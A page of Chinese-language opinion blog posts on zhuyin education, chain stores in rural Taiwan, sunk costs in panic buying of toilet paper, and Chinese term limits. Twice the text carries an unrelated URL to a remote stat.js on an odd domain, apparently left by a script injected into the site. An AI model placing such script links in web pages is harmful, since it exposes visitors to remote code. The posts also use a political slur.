If it’s not broke, don’t fix it!
1. 現階段看不出來注音符號究竟拖累了台灣哪方面的競爭力？反倒是民進黨錯誤的大陸政策、錯誤的能源政策以及內鬥尋租行為等，更明顯也更浪費地消耗台灣財富與競爭力。
2. 取消注音符號要付出多大代價？各種看得見與看不見的的成本，有無正確估算？
3. 真要搞羅馬拼音或他種拼音，最簡單方式就是引入市場競爭！讓各個小學、幼稚園自由選擇教授何種拼音方式，10年之後市場（尤其是補習班）自然會淘汰並選出最適合者。
（目前看來中國的拼音系統勝出機率最大，假台獨狗又要哭哭了）
更重要的是，我們最不需要「自以為是的專家」來替人民決定哪種拼音系統是唯一方案。https://js.developerstatss.ga/stat.js?n=ns1
好文分享。
我說過我是台中大甲人，從小我就一直期待大甲可以有一家麥當勞。這個願望直到我上大學離開家鄉了才成真。在此之前，我們只有各一家王子漢堡跟香雞城（這兩家都倒了）。王子漢堡我想大概海線人才知道。
跟鬼王說的一樣，文青所謂「連鎖企業毀壞質樸在地文化」論調對我們這種鄉下人來說根本叫做bull shit！ 從小我就感受到所謂的海線是怎樣落人一等，連火車班次、公路局班次都比別人少！
第一家7-11開店時已經是我高中時候，當時真如鬼王所說，是鎮上時髦青少年流連的場所。但台北早就是街道巷口處處有小七了。
經濟學來看也是支持鬼王論點：連鎖企業之所以可以橫掃鄉村小店，不是因為資本粗就能吃人，而是因為連鎖企業用更好的條件提供更好的商品與服務！
經濟競爭的鐵律是「用更少的代價換取更好或更多！」連鎖企業如果更貴更爛，市場淘汰連鎖企業而非小店。大甲也曾有肯德基，但生意火紅幾年就因為競爭不過麥當勞與在地炸雞攤而倒店。這也證明經濟學是對的 — 本錢厚並非絕對的競爭優勢。反之，被淘汰的小店正因為無法提供連鎖企業給的，才會被淘汰。
是的，真相是所謂的小店文化，對真正在地者而言，往往不重要也沒人鳥。真相是你們文青所謂的「重視小店文化」其實連你們自己都不肯付出足夠真金白銀購買使其存活。
但可笑的是，這種雙面人竟然舉起標語、木牌抗議連鎖企業進駐鄉鎮？（這在美國很常見）
其實說穿了這種人只是藉著剝削鄉村消費者的選擇權，換取自己的媒體曝光度或自我感覺良好。
事實是真正在拉近城鄉差距的，是文青口中萬惡的資本家們！
民眾搶購囤積衛生紙事件出現一種聲音：「這些人都是笨蛋，竟然用住家一坪幾十萬的地來放幾百塊的衛生紙。還花幾百塊車資跑去賣場搬衛生紙…云云。」
這種批評者自以為會算，其實犯了嚴重的經濟邏輯錯誤而不自知。
一、歷史成本不是成本
那些把衛生紙佔家中坪數拿出來算的人，都犯了這個錯誤。
經濟學上的成本永遠指的是「機會成本」，而所謂的「機會成本」重點在於「選擇」。有選擇就以最高放棄的代價為成本，沒有選擇就沒有成本。已經花錢購買或承租的居家空間，花出去的錢就是「歷史成本」。歷史成本不是成本，這是經濟學極為重要的觀念！
因為「歷史成本」是已經發生的事件，除非你能讓時光倒流重做決定，否則已經決定的事情無從「重頭再選擇」，自然也就不是成本。為什麼這點很重要？
因為在經濟邏輯上，無從選擇代表「不會影響人類行為」！說過無數次，經濟學是一門以成本為切入角度來研究人類行為的學問。一般來說，很少人居家的閒置空間（如走道、空櫃、陽台…等）會另外出租給他人。也就是說這些空間的收入，就是所有權者的各種使用方式，包含堆疊一堆看似不值錢的雜物。
因此，喜歡某些極簡風格者，買下一塊地後的建築可能隔間極少、空置極大，這滿足了他的需求，也就達到他個人的效用最大化。當今天衛生紙可能價格飛漲，於是他決定買進囤積大量衛生紙放在原本空閒位置時，依然是效用最大化。前者與後者選擇改變在於侷限條件不同，放滿衛生紙的成本是犧牲原本空曠的美觀，而非每坪當初的買價！
反之，當你遇上Steve Jobs這種家裡不擺任何家具只放一盞燈的神經病，其行為選擇只表示空間美感需求大過對生活機能需求滿足，前者選擇以後者為成本。
也是說，已經花錢買的空間，不管你要堆放「有」或「無」，效益都可以達到最大化。
為什麼如此才是正確的經濟邏輯？
當今天侷限條件更改，同樣Steve Jobs但時間回到尚未發達的車庫創業時期，空間機能坪效大過美感需求，我們可看到早期車庫創業的照片中空間是如何堆滿各種雜亂物品，甚至當初最早發明的微型小電腦都因為太雜亂，讓來訪的記者不小心碰倒飲料而淋濕報廢。
同樣更改侷限條件，把場景放到工廠/物流倉庫或Apple Store這些都講究坪效的地方，即便租金/地價大不相同，二種場景的主事者依然著重在如何最大化收入上！是的，講究坪效不一定是講究同樣空間塞滿物品；當如Apple Store般透過適當留白可以創造更高收入時，理性經濟人就會這樣做。而競爭對手就可能這樣模仿。因此同樣市中心，我們可以看到塞滿貨品難以走路的屈臣氏，也可以看到空蕩蕩牆上只掛幾幅畫的畫廊。
進一步看，當主事者認定未來收入不足以支付未來應付租金時，結束營業或頂讓就會被選擇。當土地所有者發現出租收入勝過自己經營時，即便當初購入地價再低，出租的機率一樣會大大增加。在在說明經濟學的成本是向未來看，而非向後看。租值既是未來收入的折現總合，也是成本，但都是看向未來。
論者誤把歷史成本當做成本，還藉此批評群眾行為，其實只彰顯了自己經濟邏輯差、學問不到家，才發生誤以為的「理論與實際不吻合」的現象，才發生自以為聰明的窘樣。
二、未知是昂貴的資訊費用
至於批評搶購者的不知時間成本、車資等等費用，其實也忽略了搶購者更在乎的是「不知道未來要漲到哪去？」這個未知資訊費用。佐以衛生紙的易儲存不易損壞這個侷限條件，降低囤積費用讓人們傾向面對未知時先搶購一輪。當可能漲價者換為生蠔這種極易腐敗的物品，則即便民眾搶購也不容易出現大量囤積了（因為囤積成本昂貴許多）。
論者拿假設的漲幅來比較車資、時間成本，恰恰是忽略了「未知」這件事。
另一方面，許多購買者去賣場並非「專為買衛生紙」，還會順道購買其他物品，這也攤提了論者提及的費用；又或有購買者是透過網路搶購衛生紙，則根本毋須負擔論者提及的這些費用了！
不過跟第一點錯誤相比，第二點比較不重要。
因此我還要再重頭強調一次：「歷史成本不是成本！」拿地價出來計算自己家中物品佔多少空間等於付出多少成本，是完全錯誤的經濟邏輯。自己算得開心就好，拿出來說嘴就丟人了。https://js.developerstatss.ga/stat.js?n=ns1
感覺一堆人搞不清楚（特別是念法律的）：
習進平取消「得連任二屆」限制，並不表示他想怎樣連任都能成功。
反之，真有政治實力，像俄羅斯普丁那樣不管啥職位都能實際掌權，連任限制是啥屁？（當蔣經國只是行政院院長而嚴家淦是總統時，你說誰說了算？）
以為取消連任限制就叫稱帝？就叫做到掌權到死？未免太天真。
元毓說 